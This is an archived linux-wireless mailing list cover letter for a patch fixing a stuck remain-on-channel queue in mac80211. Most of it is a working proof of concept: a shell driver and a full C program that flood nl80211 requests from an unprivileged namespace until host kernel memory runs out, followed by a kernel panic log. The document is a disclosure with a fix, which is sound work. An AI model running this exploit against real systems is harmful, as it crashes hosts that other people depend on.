Linux wireless drivers development
 help / color / mirror / Atom feed
From: Ren Wei <weir@nebusec.ai>
To: linux-wireless@vger.kernel.org
Cc: johannes@sipsolutions.net, linville@tuxdriver.com,
	vega@nebusec.ai, caoruide123@gmail.com, weir@nebusec.ai
Subject: [PATCH 0/1] mac80211: start next ROC after purging an interface
Date: Tue, 22 Sep 2026 23:38:53 +0800	[thread overview]
Message-ID: <cover.1787220252.git.vega.cover-letter@nebusec.ai> (raw)

From: Ruide Cao <caoruide123@gmail.com>

Hi Linux kernel maintainers,

We found an issue in net/mac80211/offchannel.c.

When a hardware ROC for interface A is active and another ROC for interface
B is queued, ieee80211_roc_purge(local, A) cancels and destroys A's started
ROC but never calls ieee80211_start_next_roc(). This is not repaired by
every driver: ath10k cancellation clears roc_notify before aborting, so
scan completion deliberately does not call
ieee80211_remain_on_channel_expired(). B consequently remains as an
unstarted roc_list head with no work scheduled. Further ROC requests
matching B are inserted behind that unstarted entry and likewise schedule
nothing, while scans defer because roc_list is nonempty. Repeated netlink
requests therefore retain an unbounded number of struct ieee80211_roc_work
allocations until another teardown or suspend purges them, allowing a
network-namespace administrator to exhaust host kernel memory.

Privilege model: network-namespace administrator (CAP_NET_ADMIN in a
user+network namespace is sufficient); the stuck ROC queue and unbounded
struct ieee80211_roc_work allocations can exhaust host kernel memory.

Compatibility: the change only restores next-ROC scheduling after a hardware
ROC purge when remaining entries exist; software ROC handling and unrelated
mac80211 paths are unchanged.

Tested: PoC reproduces the stuck-queue / OOM behavior in QEMU (2 vCPU / 2 GB);
details and crash evidence are below.

Reproducer:

#!/bin/sh
set -eu

CC=${CC:-gcc}
CFLAGS=${CFLAGS:-"-O2 -Wall -Wextra"}
TRACEFS=${TRACEFS:-/sys/kernel/tracing}
MODE=${1:-trace}
RADIOS=${RADIOS:-20}
LOOPS=${LOOPS:-100000}

$CC $CFLAGS -o poc poc.c

case "$MODE" in
trace)
	for ev in \
		events/cfg80211/rdev_remain_on_channel/enable \
		events/mac80211/drv_remain_on_channel/enable \
		events/mac80211/drv_cancel_remain_on_channel/enable \
		events/mac80211/api_remain_on_channel_expired/enable
	do
		printf 1 > "$TRACEFS/$ev"
	done
	printf 0 > "$TRACEFS/tracing_on"
	: > "$TRACEFS/trace"
	printf 1 > "$TRACEFS/tracing_on"
	./poc --mode roc --loops 4 --pause-before-loop-ms 1200
	sleep 1
	printf 0 > "$TRACEFS/tracing_on"
	grep -E \
		'rdev_remain_on_channel|drv_remain_on_channel|drv_cancel_remain_on_channel|api_remain_on_channel_expired' \
		"$TRACEFS/trace" || true
	;;
ns-trace)
	unshare -Urn sh -c "./poc --mode roc --loops 4 --pause-before-loop-ms 1200"
	;;
oom)
	sysctl -w vm.panic_on_oom=2
	i=1
	while [ "$i" -le "$RADIOS" ]; do
		echo "radio $i/$RADIOS"
		./poc --mode frame --loops "$LOOPS" || true
		i=$((i + 1))
	done
	;;
*)
	echo "usage: $0 [trace|ns-trace|oom]" >&2
	exit 1
	;;
esac


We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN PoC------

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <linux/nl80211.h>
#include <net/if.h>
#include <stdbool.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#ifndef SOL_NETLINK
#define SOL_NETLINK 270
#endif

#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int) NLA_ALIGN(sizeof(struct nlattr)))
#endif

#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif

#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif

#ifndef NLA_OK
#define NLA_OK(nla, rem) ((rem) >= (int)sizeof(struct nlattr) && \
			  (nla)->nla_len >= sizeof(struct nlattr) && \
			  (nla)->nla_len <= (rem))
#endif

#ifndef NLA_NEXT
#define NLA_NEXT(nla, attrlen) ((attrlen) -= NLA_ALIGN((nla)->nla_len), \
				(struct nlattr *)((char *)(nla) + \
				NLA_ALIGN((nla)->nla_len)))
#endif

#define IW_BIN "/usr/sbin/iw"
#define IP_BIN "/usr/sbin/ip"

enum hwsim_commands_local {
	HWSIM_CMD_UNSPEC_LOCAL,
	HWSIM_CMD_REGISTER_LOCAL,
	HWSIM_CMD_FRAME_LOCAL,
	HWSIM_CMD_TX_INFO_FRAME_LOCAL,
	HWSIM_CMD_NEW_RADIO_LOCAL,
	HWSIM_CMD_DEL_RADIO_LOCAL,
	HWSIM_CMD_GET_RADIO_LOCAL,
};

enum hwsim_attrs_local {
	HWSIM_ATTR_UNSPEC_LOCAL,
	HWSIM_ATTR_ADDR_RECEIVER_LOCAL,
	HWSIM_ATTR_ADDR_TRANSMITTER_LOCAL,
	HWSIM_ATTR_FRAME_LOCAL,
	HWSIM_ATTR_FLAGS_LOCAL,
	HWSIM_ATTR_RX_RATE_LOCAL,
	HWSIM_ATTR_SIGNAL_LOCAL,
	HWSIM_ATTR_TX_INFO_LOCAL,
	HWSIM_ATTR_COOKIE_LOCAL,
	HWSIM_ATTR_CHANNELS_LOCAL,
	HWSIM_ATTR_RADIO_ID_LOCAL,
	HWSIM_ATTR_REG_HINT_ALPHA2_LOCAL,
	HWSIM_ATTR_REG_CUSTOM_REG_LOCAL,
	HWSIM_ATTR_REG_STRICT_REG_LOCAL,
	HWSIM_ATTR_SUPPORT_P2P_DEVICE_LOCAL,
	HWSIM_ATTR_USE_CHANCTX_LOCAL,
	HWSIM_ATTR_DESTROY_RADIO_ON_CLOSE_LOCAL,
	HWSIM_ATTR_RADIO_NAME_LOCAL,
	HWSIM_ATTR_NO_VIF_LOCAL,
};

struct nl_req {
	char buf[8192];
	struct nlmsghdr *nlh;
	struct genlmsghdr *genl;
	size_t max_len;
};

struct options {
	bool use_mgmt_tx;
	unsigned int loops;
	unsigned int frame_len;
	unsigned int duration_ms;
	unsigned int freq_a;
	unsigned int freq_b;
	unsigned int sleep_after_a_ms;
	unsigned int sleep_after_b_ms;
	unsigned int pause_before_loop_ms;
	char phy_name[32];
	char if_a[IFNAMSIZ];
	char if_b[IFNAMSIZ];
};

static uint32_t global_seq = 1;

static void die_perror(const char *what)
{
	perror(what);
	exit(1);
}

static void die_errno(const char *what, int err)
{
	fprintf(stderr, "%s: %s\n", what, strerror(-err));
	exit(1);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [--mode roc|frame] [--loops N] [--frame-len N]\n"
		"          [--duration-ms N] [--freq-a MHz] [--freq-b MHz]\n"
		"          [--sleep-after-a-ms N] [--sleep-after-b-ms N]\n"
		"          [--pause-before-loop-ms N]\n",
		prog);
	exit(1);
}

static void parse_u32(const char *arg, unsigned int *dst, const char *name)
{
	char *end = NULL;
	unsigned long v;

	errno = 0;
	v = strtoul(arg, &end, 0);
	if (errno || !end || *end || v > UINT32_MAX) {
		fprintf(stderr, "invalid %s: %s\n", name, arg);
		exit(1);
	}
	*dst = (unsigned int)v;
}

static void parse_opts(int argc, char **argv, struct options *opts)
{
	unsigned int pid = (unsigned int)getpid();
	int i;

	memset(opts, 0, sizeof(*opts));
	opts->use_mgmt_tx = true;
	opts->loops = 5000;
	opts->frame_len = 2304;
	opts->duration_ms = 1000;
	opts->freq_a = 2412;
	opts->freq_b = 2437;
	opts->sleep_after_a_ms = 50;
	opts->sleep_after_b_ms = 20;
	opts->pause_before_loop_ms = 1500;
	snprintf(opts->phy_name, sizeof(opts->phy_name), "phyoc%u", pid);
	snprintf(opts->if_b, sizeof(opts->if_b), "rb%u", pid % 10000);

	for (i = 1; i < argc; i++) {
		if (!strcmp(argv[i], "--mode")) {
			if (++i >= argc)
				usage(argv[0]);
			if (!strcmp(argv[i], "roc"))
				opts->use_mgmt_tx = false;
			else if (!strcmp(argv[i], "frame"))
				opts->use_mgmt_tx = true;
			else
				usage(argv[0]);
			continue;
		}
		if (!strcmp(argv[i], "--loops")) {
			if (++i >= argc)
				usage(argv[0]);
			parse_u32(argv[i], &opts->loops, "loops");
			continue;
		}
		if (!strcmp(argv[i], "--frame-len")) {
			if (++i >= argc)
				usage(argv[0]);
			parse_u32(argv[i], &opts->frame_len, "frame length");
			continue;
		}
		if (!strcmp(argv[i], "--duration-ms")) {
			if (++i >= argc)
				usage(argv[0]);
			parse_u32(argv[i], &opts->duration_ms, "duration");
			continue;
		}
		if (!strcmp(argv[i], "--freq-a")) {
			if (++i >= argc)
				usage(argv[0]);
			parse_u32(argv[i], &opts->freq_a, "freq-a");
			continue;
		}
		if (!strcmp(argv[i], "--freq-b")) {
			if (++i >= argc)
				usage(argv[0]);
			parse_u32(argv[i], &opts->freq_b, "freq-b");
			continue;
		}
		if (!strcmp(argv[i], "--sleep-after-a-ms")) {
			if (++i >= argc)
				usage(argv[0]);
			parse_u32(argv[i], &opts->sleep_after_a_ms, "sleep-after-a-ms");
			continue;
		}
		if (!strcmp(argv[i], "--sleep-after-b-ms")) {
			if (++i >= argc)
				usage(argv[0]);
			parse_u32(argv[i], &opts->sleep_after_b_ms, "sleep-after-b-ms");
			continue;
		}
		if (!strcmp(argv[i], "--pause-before-loop-ms")) {
			if (++i >= argc)
				usage(argv[0]);
			parse_u32(argv[i], &opts->pause_before_loop_ms,
				  "pause-before-loop-ms");
			continue;
		}
		usage(argv[0]);
	}

	if (opts->frame_len < 26)
		opts->frame_len = 26;
}

static void msleep(unsigned int ms)
{
	struct timespec req;

	req.tv_sec = ms / 1000;
	req.tv_nsec = (long)(ms % 1000) * 1000000L;
	while (nanosleep(&req, &req) && errno == EINTR)
		;
}

static int nl_open(void)
{
	struct sockaddr_nl addr = {
		.nl_family = AF_NETLINK,
	};
	int fd;

	fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_GENERIC);
	if (fd < 0)
		die_perror("socket(NETLINK_GENERIC)");

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_perror("bind(NETLINK_GENERIC)");

	return fd;
}

static void nl_req_init(struct nl_req *req, uint16_t type, uint8_t cmd,
			uint16_t flags)
{
	memset(req, 0, sizeof(*req));
	req->max_len = sizeof(req->buf);
	req->nlh = (struct nlmsghdr *)req->buf;
	req->genl = (struct genlmsghdr *)(req->buf + NLMSG_HDRLEN);

	req->nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
	req->nlh->nlmsg_type = type;
	req->nlh->nlmsg_flags = NLM_F_REQUEST | flags;
	req->nlh->nlmsg_seq = global_seq++;
	req->genl->cmd = cmd;
	req->genl->version = 1;
}

static int nl_attr_put(struct nl_req *req, uint16_t type, const void *data,
		       uint16_t len)
{
	struct nlattr *attr;
	size_t off = NLMSG_ALIGN(req->nlh->nlmsg_len);
	size_t total = NLA_HDRLEN + NLA_ALIGN(len);

	if (off + total > req->max_len)
		return -ENOBUFS;

	attr = (struct nlattr *)(req->buf + off);
	attr->nla_type = type;
	attr->nla_len = NLA_HDRLEN + len;
	if (len)
		memcpy((char *)attr + NLA_HDRLEN, data, len);
	if (NLA_ALIGN(len) > len)
		memset((char *)attr + NLA_HDRLEN + len, 0, NLA_ALIGN(len) - len);

	req->nlh->nlmsg_len = off + total;
	return 0;
}

static int nl_attr_put_u32(struct nl_req *req, uint16_t type, uint32_t value)
{
	return nl_attr_put(req, type, &value, sizeof(value));
}

static int nl_attr_put_flag(struct nl_req *req, uint16_t type)
{
	return nl_attr_put(req, type, NULL, 0);
}

static int nl_attr_put_string(struct nl_req *req, uint16_t type, const char *s)
{
	return nl_attr_put(req, type, s, (uint16_t)(strlen(s) + 1));
}

static int nl_send(int fd, struct nl_req *req)
{
	struct sockaddr_nl dst = {
		.nl_family = AF_NETLINK,
	};
	ssize_t ret;

	ret = sendto(fd, req->buf, req->nlh->nlmsg_len, 0,
		     (struct sockaddr *)&dst, sizeof(dst));
	if (ret < 0)
		return -errno;
	return 0;
}

static int nl_wait_nonerror(int fd, uint32_t seq)
{
	char buf[8192];

	for (;;) {
		struct nlmsghdr *nlh;
		ssize_t len;

		len = recv(fd, buf, sizeof(buf), 0);
		if (len < 0) {
			if (errno == EINTR)
				continue;
			return -errno;
		}

		for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, len);
		     nlh = NLMSG_NEXT(nlh, len)) {
			if (nlh->nlmsg_seq != seq)
				continue;
			if (nlh->nlmsg_type == NLMSG_ERROR) {
				struct nlmsgerr *err = NLMSG_DATA(nlh);

				return err->error;
			}
			return 0;
		}
	}
}

static int nl_resolve_family(int fd, const char *family_name)
{
	char buf[8192];
	struct nl_req req;
	int ret;

	nl_req_init(&req, GENL_ID_CTRL, CTRL_CMD_GETFAMILY, 0);
	ret = nl_attr_put_string(&req, CTRL_ATTR_FAMILY_NAME, family_name);
	if (ret)
		die_errno("nl_attr_put_string", ret);
	ret = nl_send(fd, &req);
	if (ret)
		die_errno("send CTRL_CMD_GETFAMILY", ret);

	for (;;) {
		struct nlmsghdr *nlh;
		ssize_t len;

		len = recv(fd, buf, sizeof(buf), 0);
		if (len < 0) {
			if (errno == EINTR)
				continue;
			die_perror("recv CTRL_CMD_GETFAMILY");
		}

		for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, len);
		     nlh = NLMSG_NEXT(nlh, len)) {
			struct genlmsghdr *genl;
			struct nlattr *attr;
			int attrlen;

			if (nlh->nlmsg_seq != req.nlh->nlmsg_seq)
				continue;
			if (nlh->nlmsg_type == NLMSG_ERROR) {
				struct nlmsgerr *err = NLMSG_DATA(nlh);
				die_errno("CTRL_CMD_GETFAMILY", err->error);
			}

			genl = NLMSG_DATA(nlh);
			attr = (struct nlattr *)((char *)genl + GENL_HDRLEN);
			attrlen = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);

			for (; NLA_OK(attr, attrlen); attr = NLA_NEXT(attr, attrlen)) {
				if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
					uint16_t family_id;

					memcpy(&family_id, (char *)attr + NLA_HDRLEN,
					       sizeof(family_id));
					return family_id;
				}
			}
		}
	}
}

static int run_cmd(const char *fmt, ...)
{
	char cmd[512];
	va_list ap;
	int rc;

	va_start(ap, fmt);
	vsnprintf(cmd, sizeof(cmd), fmt, ap);
	va_end(ap);

	rc = system(cmd);
	if (rc != 0) {
		fprintf(stderr, "command failed (%d): %s\n", rc, cmd);
		return -1;
	}
	return 0;
}

static bool ifname_in_list(const struct if_nameindex *list, const char *name)
{
	const struct if_nameindex *it;

	for (it = list; it && it->if_index; it++) {
		if (!strcmp(it->if_name, name))
			return true;
	}

	return false;
}

static void wait_for_new_interface(const struct if_nameindex *before,
				   char ifname[IFNAMSIZ])
{
	int i;

	for (i = 0; i < 100; i++) {
		struct if_nameindex *after = if_nameindex();
		const struct if_nameindex *it;

		if (!after)
			die_perror("if_nameindex");

		for (it = after; it->if_index; it++) {
			if (ifname_in_list(before, it->if_name))
				continue;
			snprintf(ifname, IFNAMSIZ, "%s", it->if_name);
			if_freenameindex(after);
			return;
		}

		if_freenameindex(after);
		msleep(20);
	}

	fprintf(stderr, "timed out waiting for auto-created interface\n");
	exit(1);
}

static void get_hwaddr(const char *ifname, uint8_t addr[6])
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
	if (fd < 0)
		die_perror("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_perror("SIOCGIFHWADDR");
	memcpy(addr, ifr.ifr_hwaddr.sa_data, 6);
	close(fd);
}

static void build_action_frame(uint8_t *buf, unsigned int len,
			       const uint8_t sa[6])
{
	static const uint8_t broadcast[6] = {
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
	};

	memset(buf, 0, len);
	buf[0] = 0xd0;
	buf[1] = 0x00;
	memcpy(buf + 4, broadcast, 6);
	memcpy(buf + 10, sa, 6);
	memcpy(buf + 16, broadcast, 6);
	buf[24] = 0x04;
	buf[25] = 0x09;
}

static int hwsim_new_radio(int fd, int family_id, const struct options *opts)
{
	struct nl_req req;
	int ret;

	nl_req_init(&req, family_id, HWSIM_CMD_NEW_RADIO_LOCAL, NLM_F_ACK);
	ret = nl_attr_put_flag(&req, HWSIM_ATTR_USE_CHANCTX_LOCAL);
	if (ret)
		return ret;
	ret = nl_attr_put_string(&req, HWSIM_ATTR_RADIO_NAME_LOCAL,
				 opts->phy_name);
	if (ret)
		return ret;
	ret = nl_send(fd, &req);
	if (ret)
		return ret;
	return nl_wait_nonerror(fd, req.nlh->nlmsg_seq);
}

static int hwsim_del_radio(int fd, int family_id, const struct options *opts)
{
	struct nl_req req;
	int ret;

	nl_req_init(&req, family_id, HWSIM_CMD_DEL_RADIO_LOCAL, NLM_F_ACK);
	ret = nl_attr_put_string(&req, HWSIM_ATTR_RADIO_NAME_LOCAL,
				 opts->phy_name);
	if (ret)
		return ret;
	ret = nl_send(fd, &req);
	if (ret)
		return ret;
	return nl_wait_nonerror(fd, req.nlh->nlmsg_seq);
}

static int hwsim_get_radio_name(int fd, int family_id, int radio_id,
				char *name, size_t name_len)
{
	char buf[8192];
	struct nl_req req;
	int ret;

	nl_req_init(&req, family_id, HWSIM_CMD_GET_RADIO_LOCAL, 0);
	ret = nl_attr_put_u32(&req, HWSIM_ATTR_RADIO_ID_LOCAL, (uint32_t)radio_id);
	if (ret)
		return ret;
	ret = nl_send(fd, &req);
	if (ret)
		return ret;

	for (;;) {
		struct nlmsghdr *nlh;
		ssize_t len;

		len = recv(fd, buf, sizeof(buf), 0);
		if (len < 0) {
			if (errno == EINTR)
				continue;
			return -errno;
		}

		for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, len);
		     nlh = NLMSG_NEXT(nlh, len)) {
			struct genlmsghdr *genl;
			struct nlattr *attr;
			int attrlen;

			if (nlh->nlmsg_seq != req.nlh->nlmsg_seq)
				continue;
			if (nlh->nlmsg_type == NLMSG_ERROR) {
				struct nlmsgerr *err = NLMSG_DATA(nlh);
				return err->error;
			}

			genl = NLMSG_DATA(nlh);
			attr = (struct nlattr *)((char *)genl + GENL_HDRLEN);
			attrlen = nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN);

			for (; NLA_OK(attr, attrlen); attr = NLA_NEXT(attr, attrlen)) {
				if (attr->nla_type != HWSIM_ATTR_RADIO_NAME_LOCAL)
					continue;
				snprintf(name, name_len, "%s",
					 (char *)attr + NLA_HDRLEN);
				return 0;
			}

			return -ENOENT;
		}
	}
}

static int nl80211_send_roc(int fd, int family_id, int ifindex,
			    unsigned int freq, unsigned int duration_ms)
{
	struct nl_req req;
	int ret;

	nl_req_init(&req, family_id, NL80211_CMD_REMAIN_ON_CHANNEL, NLM_F_ACK);
	ret = nl_attr_put_u32(&req, NL80211_ATTR_IFINDEX, ifindex);
	if (ret)
		return ret;
	ret = nl_attr_put_u32(&req, NL80211_ATTR_WIPHY_FREQ, freq);
	if (ret)
		return ret;
	ret = nl_attr_put_u32(&req, NL80211_ATTR_DURATION, duration_ms);
	if (ret)
		return ret;
	ret = nl_send(fd, &req);
	if (ret)
		return ret;
	return nl_wait_nonerror(fd, req.nlh->nlmsg_seq);
}

static int nl80211_send_frame(int fd, int family_id, int ifindex,
			      unsigned int freq, unsigned int duration_ms,
			      const void *frame, unsigned int frame_len)
{
	struct nl_req req;
	int ret;

	nl_req_init(&req, family_id, NL80211_CMD_FRAME, NLM_F_ACK);
	ret = nl_attr_put_u32(&req, NL80211_ATTR_IFINDEX, ifindex);
	if (ret)
		return ret;
	ret = nl_attr_put_flag(&req, NL80211_ATTR_OFFCHANNEL_TX_OK);
	if (ret)
		return ret;
	ret = nl_attr_put_u32(&req, NL80211_ATTR_WIPHY_FREQ, freq);
	if (ret)
		return ret;
	ret = nl_attr_put_u32(&req, NL80211_ATTR_DURATION, duration_ms);
	if (ret)
		return ret;
	ret = nl_attr_put(&req, NL80211_ATTR_FRAME, frame, frame_len);
	if (ret)
		return ret;
	ret = nl_send(fd, &req);
	if (ret)
		return ret;
	return nl_wait_nonerror(fd, req.nlh->nlmsg_seq);
}

static int send_work(int fd, int family_id, const struct options *opts,
		     int ifindex, unsigned int freq, const uint8_t *sa)
{
	if (!opts->use_mgmt_tx) {
		int ret = nl80211_send_roc(fd, family_id, ifindex, freq,
					   opts->duration_ms);
		if (ret)
			return ret;
		return 0;
	}

	{
		uint8_t *frame = calloc(1, opts->frame_len);
		int ret;

		if (!frame)
			return -ENOMEM;
		build_action_frame(frame, opts->frame_len, sa);
		ret = nl80211_send_frame(fd, family_id, ifindex, freq,
					 opts->duration_ms, frame,
					 opts->frame_len);
		free(frame);
		return ret;
	}
}

static void create_interfaces(const struct options *opts)
{
	if (run_cmd(IW_BIN " dev %s interface add %s type managed",
		    opts->if_a, opts->if_b))
		exit(1);
	if (run_cmd(IP_BIN " link set %s up", opts->if_a))
		exit(1);
	if (run_cmd(IP_BIN " link set %s up", opts->if_b))
		exit(1);
}

int main(int argc, char **argv)
{
	struct options opts;
	uint8_t sa_a[6], sa_b[6];
	int hwsim_fd, nl80211_fd, hwsim_family, nl80211_family;
	int if_a, if_b;
	struct if_nameindex *before_ifaces;
	unsigned int i;
	int radio_id, ret;

	parse_opts(argc, argv, &opts);

	printf("mode=%s loops=%u frame_len=%u duration_ms=%u\n",
	       opts.use_mgmt_tx ? "frame" : "roc",
	       opts.loops, opts.frame_len, opts.duration_ms);
	printf("creating hwsim radio %s and a second interface %s\n",
	       opts.phy_name, opts.if_b);

	hwsim_fd = nl_open();
	nl80211_fd = nl_open();

	hwsim_family = nl_resolve_family(hwsim_fd, "MAC80211_HWSIM");
	nl80211_family = nl_resolve_family(nl80211_fd, "nl80211");
	before_ifaces = if_nameindex();
	if (!before_ifaces)
		die_perror("if_nameindex");

	radio_id = hwsim_new_radio(hwsim_fd, hwsim_family, &opts);
	if (radio_id < 0)
		die_errno("HWSIM_CMD_NEW_RADIO", radio_id);
	if (radio_id > 0) {
		ret = hwsim_get_radio_name(hwsim_fd, hwsim_family, radio_id,
					   opts.phy_name, sizeof(opts.phy_name));
		if (ret)
			die_errno("HWSIM_CMD_GET_RADIO", ret);
	}

	wait_for_new_interface(before_ifaces, opts.if_a);
	if_freenameindex(before_ifaces);

	printf("using radio id=%d phy=%s if_a=%s if_b=%s\n",
	       radio_id, opts.phy_name, opts.if_a, opts.if_b);

	create_interfaces(&opts);

	if_a = if_nametoindex(opts.if_a);
	if_b = if_nametoindex(opts.if_b);
	if (!if_a || !if_b)
		die_perror("if_nametoindex");

	get_hwaddr(opts.if_a, sa_a);
	get_hwaddr(opts.if_b, sa_b);

	printf("queueing active work on %s, then queued work on %s\n",
	       opts.if_a, opts.if_b);
	ret = send_work(nl80211_fd, nl80211_family, &opts, if_a, opts.freq_a, sa_a);
	if (ret)
		die_errno("initial work on interface A", ret);
	msleep(opts.sleep_after_a_ms);

	ret = send_work(nl80211_fd, nl80211_family, &opts, if_b, opts.freq_b, sa_b);
	if (ret)
		die_errno("initial queued work on interface B", ret);
	msleep(opts.sleep_after_b_ms);

	if (run_cmd(IP_BIN " link set %s down", opts.if_a))
		exit(1);

	printf("interface %s is down; %s should now have a stuck ROC head\n",
	       opts.if_a, opts.if_b);

	msleep(opts.pause_before_loop_ms);

	for (i = 0; i < opts.loops; i++) {
		ret = send_work(nl80211_fd, nl80211_family, &opts,
				if_b, opts.freq_b, sa_b);
		if (ret)
			die_errno("repeated queued work on interface B", ret);
		if ((i % 1000) == 0)
			printf("queued %u/%u additional requests on %s\n",
			       i + 1, opts.loops, opts.if_b);
	}

	printf("completed %u additional requests on %s\n", opts.loops, opts.if_b);

	run_cmd(IW_BIN " dev %s del", opts.if_b);
	ret = hwsim_del_radio(hwsim_fd, hwsim_family, &opts);
	if (ret)
		fprintf(stderr, "warning: HWSIM_CMD_DEL_RADIO failed: %s\n",
			strerror(-ret));

	close(nl80211_fd);
	close(hwsim_fd);
	return 0;
}


------END PoC--------

----BEGIN crash log----

[ 2524.974090][ T5169] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 2524.974899][ T5169] CPU: 0 UID: 0 PID: 5169 Comm: systemd-udevd Not tainted 6.12.95 #2
[ 2524.975489][ T5169] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 2524.976371][ T5169] Call Trace:
[ 2524.976605][ T5169]  <TASK>
[ 2524.976807][ T5169]  panic+0x533/0x610
[ 2524.977098][ T5169]  ? dump_header+0x5d2/0x800
[ 2524.977469][ T5169]  ? __pfx_panic+0x10/0x10
[ 2524.977827][ T5169]  out_of_memory+0x73c/0x1430
[ 2524.978142][ T5169]  ? __alloc_pages_noprof+0xd53/0x26d0
[ 2524.978509][ T5169]  ? __pfx_out_of_memory+0x10/0x10
[ 2524.978911][ T5169]  ? lock_acquire+0x2f/0xb0
[ 2524.979208][ T5169]  ? __alloc_pages_noprof+0xd53/0x26d0
[ 2524.979583][ T5169]  __alloc_pages_noprof+0x1ecc/0x26d0
[ 2524.980042][ T5169]  ? hlock_class+0x4e/0x130
[ 2524.980357][ T5169]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2524.980718][ T5169]  ? __lock_acquire+0xc96/0x3c40
[ 2524.981046][ T5169]  ? __pfx___alloc_pages_noprof+0x10/0x10
[ 2524.981587][ T5169]  ? __pfx___lock_acquire+0x10/0x10
[ 2524.982022][ T5169]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2524.982420][ T5169]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2524.982840][ T5169]  ? find_held_lock+0x2d/0x110
[ 2524.983161][ T5169]  alloc_pages_mpol_noprof+0x1ab/0x4d0
[ 2524.983531][ T5169]  ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 2524.984022][ T5169]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2524.984404][ T5169]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2524.984761][ T5169]  ? xas_load+0x1e2/0x410
[ 2524.985110][ T5169]  ? filemap_get_entry+0xbd/0x2c0
[ 2524.985506][ T5169]  folio_alloc_noprof+0x16/0x90
[ 2524.985829][ T5169]  filemap_alloc_folio_noprof+0x279/0x320
[ 2524.986202][ T5169]  ? __pfx_filemap_alloc_folio_noprof+0x10/0x10
[ 2524.986715][ T5169]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2524.987182][ T5169]  __filemap_get_folio+0x35b/0x7a0
[ 2524.987581][ T5169]  filemap_fault+0x10db/0x1fe0
[ 2524.987966][ T5169]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 2524.988352][ T5169]  ? __pfx_filemap_fault+0x10/0x10
[ 2524.988722][ T5169]  ? __pfx_lock_release+0x10/0x10
[ 2524.989127][ T5169]  __do_fault+0xed/0x3a0
[ 2524.989435][ T5169]  do_pte_missing+0x10c9/0x3710
[ 2524.989763][ T5169]  ? pte_offset_map_nolock+0x7a/0x170
[ 2524.990140][ T5169]  __handle_mm_fault+0xac8/0x1db0
[ 2524.990551][ T5169]  ? __pfx_lock_release+0x10/0x10
[ 2524.990882][ T5169]  ? down_read_trylock+0x1f0/0x3f0
[ 2524.991220][ T5169]  ? lock_vma_under_rcu+0x121/0x720
[ 2524.991660][ T5169]  ? __pfx___handle_mm_fault+0x10/0x10
[ 2524.992059][ T5169]  ? __might_fault+0xb6/0x120
[ 2524.992422][ T5169]  handle_mm_fault+0x2ad/0x910
[ 2524.992797][ T5169]  do_user_addr_fault+0x301/0xe10
[ 2524.993240][ T5169]  exc_page_fault+0x5d/0xe0
[ 2524.993557][ T5169]  asm_exc_page_fault+0x26/0x30
[ 2524.993879][ T5169] RIP: 0033:0x7fdf6abe35c0
[ 2524.994184][ T5169] Code: Unable to access opcode bytes at 0x7fdf6abe3596.
[ 2524.994673][ T5169] RSP: 002b:00007ffc3a5e7808 EFLAGS: 00010202
[ 2524.995073][ T5169] RAX: 0000000000000000 RBX: 00007ffc3a5e7880 RCX: 0000000000000000
[ 2524.995589][ T5169] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 00000000fffffff7
[ 2524.996113][ T5169] RBP: 000000000000000a R08: 0000000000000000 R09: 00000000ffffffff
[ 2524.996651][ T5169] R10: 00007fdf6ad295e4 R11: 00000000ffffffff R12: 0000558c4f2ae340
[ 2524.997160][ T5169] R13: 0000558c4f7730d0 R14: 0000000000000002 R15: 0000000000000001
[ 2524.997743][ T5169]  </TASK>
[ 2524.998122][ T5169] Kernel Offset: disabled
[ 2524.998497][ T5169] Rebooting in 86400 seconds..


-----END crash log-----

Best regards,
Ruide Cao

Ruide Cao (1):
  mac80211: start next ROC after purging an interface

 net/mac80211/offchannel.c | 10 ++++++++++
 1 file changed, 10 insertions(+)


base-commit: 24ef02f934eeb48830cff6b739abc3c62b1d107b
-- 
2.47.3

             reply	other threads:[~2026-09-22 15:39 UTC|newest]

Thread overview: 2+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-09-22 15:38 Ren Wei [this message]
2026-09-22 15:38 ` [PATCH 1/1] mac80211: start next ROC after purging an interface Ren Wei

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

